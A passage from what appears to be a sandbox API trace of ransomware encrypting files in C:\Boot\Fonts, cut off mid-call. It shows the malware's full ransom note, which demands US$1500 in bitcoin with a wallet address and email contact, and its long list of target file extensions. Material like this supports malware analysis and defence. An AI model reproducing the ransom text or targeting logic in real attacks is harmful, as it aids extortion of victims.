lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0057.244] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.244] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chs_boot.ttf") returned 1 [0057.244] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chs_boot.ttf") returned 1 [0057.244] lstrcmpiA (lpString1="", lpString2="chs_boot.ttf") returned -1 [0057.245] PathFindFileNameA (pszPath="C:\\Boot\\Fonts\\*.*") returned="*.*" [0057.245] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\Fonts\\" | out: lpString1="C:\\Boot\\Fonts\\") returned="C:\\Boot\\Fonts\\" [0057.245] PathAddBackslashA (in: pszPath="C:\\Boot\\Fonts\\" | out: pszPath="C:\\Boot\\Fonts\\") returned="" [0057.245] lstrcatA (in: lpString1="C:\\Boot\\Fonts\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" [0057.245] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\fonts\\how to decrypt files.txt")) returned 0xffffffff [0057.245] CreateFileA (lpFileName="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\fonts\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.248] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.248] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.251] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.251] CloseHandle (hObject=0x84) returned 1 [0057.251] lstrcatA (in: lpString1="C:\\Boot\\Fonts\\", lpString2="chs_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\chs_boot.ttf") returned="C:\\Boot\\Fonts\\chs_boot.ttf" [0057.251] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.ems") returned 0 [0057.251] lstrlenA (lpString="*.ems") returned 5 [0057.251] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.db") returned 0 [0057.251] lstrlenA (lpString="*.db") returned 4 [0057.251] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.dbf") returned 0 [0057.251] lstrlenA (lpString="*.dbf") returned 5 [0057.251] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.myox") returned 0 [0057.251] lstrlenA (lpString="*.myox") returned 6 [0057.251] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.myo") returned 0 [0057.251] lstrlenA (lpString="*.myo") returned 5 [0057.252] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.qbw") returned 0 [0057.252] lstrlenA (lpString="*.qbw") returned 5 [0057.252] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.qbb") returned 0 [0057.252] lstrlenA (lpString="*.qbb") returned 5 [0057.252] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.qbm") returned 0 [0057.252] lstrlenA (lpString="*.qbm") returned 5 [0057.252] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.qbo") returned 0 [0057.252] lstrlenA (lpString="*.qbo") returned 5 [0057.252] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.qbx") returned 0 [0057.252] lstrlenA (lpString="*.qbx") returned 5 [0057.252] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.qba") returned 0 [0057.252] lstrlenA (lpString="*.qba") returned 5 [0057.252] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.qby") returned 0 [0057.252] lstrlenA (lpString="*.qby") returned 5 [0057.252] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.qbj") returned 0 [0057.252] lstrlenA (lpString="*.qbj") returned 5 [0057.252] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.ofx") returned 0 [0057.252] lstrlenA (lpString="*.ofx") returned 5 [0057.252] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.qif") returned 0 [0057.252] lstrlenA (lpString="*.qif") returned 5 [0057.253] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.mye") returned 0 [0057.253] lstrlenA (lpString="*.mye") returned 5 [0057.253] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.mbox") returned 0 [0057.253] lstrlenA (lpString="*.mbox") returned 6 [0057.253] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.eml") returned 0 [0057.253] lstrlenA (lpString="*.eml") returned 5 [0057.253] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.pst") returned 0 [0057.253] lstrlenA (lpString="*.pst") returned 5 [0057.253] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.ost") returned 0 [0057.253] lstrlenA (lpString="*.ost") returned 5 [0057.253] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.idx") returned 0 [0057.253] lstrlenA (lpString="*.idx") returned 5 [0057.253] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.dbx") returned 0 [0057.253] lstrlenA (lpString="*.dbx") returned 5 [0057.253] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.sql") returned 0 [0057.253] lstrlenA (lpString="*.sql") returned 5 [0057.253] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.mdb") returned 0 [0057.253] lstrlenA (lpString="*.mdb") returned 5 [0057.253] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.fdb") returned 0 [0057.253] lstrlenA (lpString="*.fdb") returned 5 [0057.253] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.wab") returned 0 [0057.253] lstrlenA (lpString="*.wab") returned 5 [0057.254] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.dat") returned 0 [0057.254] lstrlenA (lpString="*.dat") returned 5 [0057.254] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.txt") returned 0 [0057.254] lstrlenA (lpString="*.txt") returned 5 [0057.254] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.jpeg") returned 0 [0057.254] lstrlenA (lpString="*.jpeg") returned 6 [0057.254] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.jpg") returned 0 [0057.254] lstrlenA (lpString="*.jpg") returned 5 [0057.254] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.png") returned 0 [0057.254] lstrlenA (lpString="*.png") returned 5 [0057.254] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.php") returned 0 [0057.254] lstrlenA (lpString="*.php") returned 5 [0057.254] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.cs") returned 0 [0057.254] lstrlenA (lpString="*.cs") returned 4 [0057.254] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.cpp") returned 0 [0057.254] lstrlenA (lpString="*.cpp") returned 5 [0057.254] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.rar") returned 0 [0057.254] lstrlenA (lpString="*.rar") returned 5 [0057.254] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.zip") returned 0 [0057.254] lstrlenA (lpString="*.zip") returned 5 [0057.254] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.html") returned 0 [0057.254] lstrlenA (lpString="*.html") returned 6 [0057.255] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.htm") returned 0 [0057.255] lstrlenA (lpString="*.htm") returned 5 [0057.255] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.xlsx") returned 0 [0057.255] lstrlenA (lpString="*.xlsx") returned 6 [0057.255] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.xls") returned 0 [0057.255] lstrlenA (lpString="*.xls") returned 5 [0057.255] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.mp4") returned 0 [0057.255] lstrlenA (lpString="*.mp4") returned 5 [0057.255] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.ppt") returned 0 [0057.255] lstrlenA (lpString="*.ppt") returned 5 [0057.255] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.pptx") returned 0 [0057.255] lstrlenA (lpString="*.pptx") returned 6 [0057.255] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.doc") returned 0 [0057.255] lstrlenA (lpString="*.doc") returned 5 [0057.255] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.dot") returned 0 [0057.255] lstrlenA (lpString="*.dot") returned 5 [0057.255] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.docx") returned 0 [0057.255] lstrlenA (lpString="*.docx") returned 6 [0057.255] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.7z") returned 0 [0057.255] lstrlenA (lpString="*.7z") returned 4 [0057.255] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.tar") returned 0 [0057.256] lstrlenA (lpString="*.tar") returned 5 [0057.256] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.bz2") returned 0 [0057.256] lstrlenA (lpString="*.bz2") returned 5 [0057.256] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.gz") returned 0 [0057.256] lstrlenA (lpString="*.gz") returned 4 [0057.256] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.mkv") returned 0 [0057.256] lstrlenA (lpString="*.mkv") returned 5 [0057.256] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.eml") returned 0 [0057.256] lstrlenA (lpString="*.eml") returned 5 [0057.256] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.msg") returned 0 [0057.256] lstrlenA (lpString="*.msg") returned 5 [0057.256] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.edb") returned 0 [0057.256] lstrlenA (lpString="*.edb") returned 5 [0057.256] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.accdb") returned 0 [0057.256] lstrlenA (lpString="*.accdb") returned 7 [0057.256] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.odb") returned 0 [0057.256] lstrlenA (lpString="*.odb") returned 5 [0057.256] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.java") returned 0 [0057.256] lstrlenA (lpString="*.java") returned 6 [0057.256] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.asm") returned 0 [0057.256] lstrlenA (lpString="*.asm") returned 5 [0057.256] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.pfx") returned 0 [0057.256] lstrlenA (lpString="*.pfx") returned 5 [0057.257] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.pem") returned 0 [0057.257] lstrlenA (lpString="*.pem") returned 5 [0057.257] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.p12") returned 0 [0057.257] lstrlenA (lpString="*.p12") returned 5 [0057.257] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.gpg") returned 0 [0057.257] lstrlenA (lpString="*.gpg") returned 5 [0057.257] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.vsd") returned 0 [0057.257] lstrlenA (lpString="*.vsd") returned 5 [0057.257] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.odg") returned 0 [0057.257] lstrlenA (lpString="*.odg") returned 5 [0057.257] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.raw") returned 0 [0057.257] lstrlenA (lpString="*.raw") returned 5 [0057.257] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.nef") returned 0 [0057.257] lstrlenA (lpString="*.nef") returned 5 [0057.257] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.svg") returned 0 [0057.257] lstrlenA (lpString="*.svg") returned 5 [0057.257] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.psd") returned 0 [0057.257] lstrlenA (lpString="*.psd") returned 5 [0057.257] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.vmx") returned 0 [0057.257] lstrlenA (lpString="*.vmx") returned 5 [0057.257] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.vmdk") returned 0 [0057.257] lstrlenA (lpString="*.vmdk") returned 6 [0057.257] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.vdi") returned 0 [0057.257] lstrlenA (lpString="*.vdi") returned 5 [0057.257] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.lay6") returned 0 [0057.257] lstrlenA (lpString="*.lay6") returned 6 [0057.257] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.mpeg") returned 0 [0057.258] lstrlenA (lpString="*.mpeg") returned 6 [0057.258] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.djvu") returned 0 [0057.258] lstrlenA (lpString="*.djvu") returned 6 [0057.258] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.tiff") returned 0 [0057.258] lstrlenA (lpString="*.tiff") returned 6 [0057.258] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.backup") returned 0 [0057.258] lstrlenA (lpString="*.backup") returned 8 [0057.258] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.pdf") returned 0 [0057.258] lstrlenA (lpString="*.pdf") returned 5 [0057.258] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.cert") returned 0 [0057.258] lstrlenA (lpString="*.cert") returned 6 [0057.258] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.docm") returned 0 [0057.258] lstrlenA (lpString="*.docm") returned 6 [0057.258] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.xlsm") returned 0 [0057.258] lstrlenA (lpString="*.xlsm") returned 6 [0057.258] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.dwg") returned 0 [0057.258] lstrlenA (lpString="*.dwg") returned 5 [0057.258] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.nd") returned 0 [0057.258] lstrlenA (lpString="*.nd") returned 4 [0057.258] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.tlg") returned 0 [0057.258] lstrlenA (lpString="*.tlg") returned 5 [0057.258] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.lgb") returned 0 [0057.258] lstrlenA (lpString="*.lgb") returned 5 [0057.258] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.mov") returned 0 [0057.258] lstrlenA (lpString="*.mov") returned 5 [0057.258] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.xdw") returned 0 [0057.259] lstrlenA (lpString="*.xdw") returned 5 [0057.259] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.ods") returned 0 [0057.259] lstrlenA (lpString="*.ods") returned 5 [0057.259] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.wav") returned 0 [0057.259] lstrlenA (lpString="*.wav") returned 5 [0057.259] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.mp3") returned 0 [0057.259] lstrlenA (lpString="*.mp3") returned 5 [0057.259] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.aiff") returned 0 [0057.259] lstrlenA (lpString="*.aiff") returned 6 [0057.259] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.flac") returned 0 [0057.259] lstrlenA (lpString="*.flac") returned 6 [0057.259] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.m4a") returned 0 [0057.259] lstrlenA (lpString="*.m4a") returned 5 [0057.259] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\chs_boot.ttf", pszSpec="*.csv") returned 0 [0057.259] lstrlenA (lpString="*.csv") returned 5 [0057.259] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0057.259] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.259] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cht_boot.ttf") returned 1 [0057.259] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cht_boot.ttf") returned 1 [0057.259] lstrcmpiA (lpString1="", lpString2="cht_boot.ttf") returned -1 [0057.259] PathFindFileNameA (pszPath="C:\\Boot\\Fonts\\chs_boot.ttf") returned="chs_boot.ttf" [0057.259] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\Fonts\\" | out: lpString1="C:\\Boot\\Fonts\\") returned="C:\\Boot\\Fonts\\" [0057.259] PathAddBackslashA (in: pszPath="C:\\Boot\\Fonts\\" | out: pszPath="C:\\Boot\\Fonts\\") returned="" [0057.259] lstrcatA (in: lpString1="C:\\Boot\\Fonts\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" [0057.260] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\fonts\\how to decrypt files.txt")) returned 0x20 [0057.260] lstrcatA (in: lpString1="C:\\Boot\\Fonts\\", lpString2="cht_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\cht_boot.ttf") returned="C:\\Boot\\Fonts\\cht_boot.ttf" [0057.260] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.ems") returned 0 [0057.260] lstrlenA (lpString="*.ems") returned 5 [0057.260] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.db") returned 0 [0057.260] lstrlenA (lpString="*.db") returned 4 [0057.260] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.dbf") returned 0 [0057.260] lstrlenA (lpString="*.dbf") returned 5 [0057.260] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.myox") returned 0 [0057.260] lstrlenA (lpString="*.myox") returned 6 [0057.260] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.myo") returned 0 [0057.260] lstrlenA (lpString="*.myo") returned 5 [0057.260] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.qbw") returned 0 [0057.260] lstrlenA (lpString="*.qbw") returned 5 [0057.260] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.qbb") returned 0 [0057.260] lstrlenA (lpString="*.qbb") returned 5 [0057.260] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.qbm") returned 0 [0057.260] lstrlenA (lpString="*.qbm") returned 5 [0057.260] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.qbo") returned 0 [0057.260] lstrlenA (lpString="*.qbo") returned 5 [0057.260] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.qbx") returned 0 [0057.261] lstrlenA (lpString="*.qbx") returned 5 [0057.261] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.qba") returned 0 [0057.261] lstrlenA (lpString="*.qba") returned 5 [0057.261] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.qby") returned 0 [0057.261] lstrlenA (lpString="*.qby") returned 5 [0057.261] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.qbj") returned 0 [0057.261] lstrlenA (lpString="*.qbj") returned 5 [0057.261] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.ofx") returned 0 [0057.261] lstrlenA (lpString="*.ofx") returned 5 [0057.261] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.qif") returned 0 [0057.261] lstrlenA (lpString="*.qif") returned 5 [0057.261] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.mye") returned 0 [0057.261] lstrlenA (lpString="*.mye") returned 5 [0057.261] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.mbox") returned 0 [0057.261] lstrlenA (lpString="*.mbox") returned 6 [0057.261] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.eml") returned 0 [0057.261] lstrlenA (lpString="*.eml") returned 5 [0057.261] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.pst") returned 0 [0057.261] lstrlenA (lpString="*.pst") returned 5 [0057.261] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.ost") returned 0 [0057.261] lstrlenA (lpString="*.ost") returned 5 [0057.261] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.idx") returned 0 [0057.261] lstrlenA (lpString="*.idx") returned 5 [0057.261] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.dbx") returned 0 [0057.261] lstrlenA (lpString="*.dbx") returned 5 [0057.261] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.sql") returned 0 [0057.262] lstrlenA (lpString="*.sql") returned 5 [0057.262] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.mdb") returned 0 [0057.262] lstrlenA (lpString="*.mdb") returned 5 [0057.262] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.fdb") returned 0 [0057.262] lstrlenA (lpString="*.fdb") returned 5 [0057.262] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.wab") returned 0 [0057.262] lstrlenA (lpString="*.wab") returned 5 [0057.262] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.dat") returned 0 [0057.262] lstrlenA (lpString="*.dat") returned 5 [0057.262] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.txt") returned 0 [0057.262] lstrlenA (lpString="*.txt") returned 5 [0057.262] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.jpeg") returned 0 [0057.262] lstrlenA (lpString="*.jpeg") returned 6 [0057.262] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.jpg") returned 0 [0057.262] lstrlenA (lpString="*.jpg") returned 5 [0057.262] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.png") returned 0 [0057.262] lstrlenA (lpString="*.png") returned 5 [0057.262] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.php") returned 0 [0057.262] lstrlenA (lpString="*.php") returned 5 [0057.262] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.cs") returned 0 [0057.262] lstrlenA (lpString="*.cs") returned 4 [0057.262] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.cpp") returned 0 [0057.262] lstrlenA (lpString="*.cpp") returned 5 [0057.262] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.rar") returned 0 [0057.262] lstrlenA (lpString="*.rar") returned 5 [0057.262] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.zip") returned 0 [0057.262] lstrlenA (lpString="*.zip") returned 5 [0057.262] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.html") returned 0 [0057.262] lstrlenA (lpString="*.html") returned 6 [0057.263] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.htm") returned 0 [0057.263] lstrlenA (lpString="*.htm") returned 5 [0057.263] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.xlsx") returned 0 [0057.263] lstrlenA (lpString="*.xlsx") returned 6 [0057.263] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.xls") returned 0 [0057.263] lstrlenA 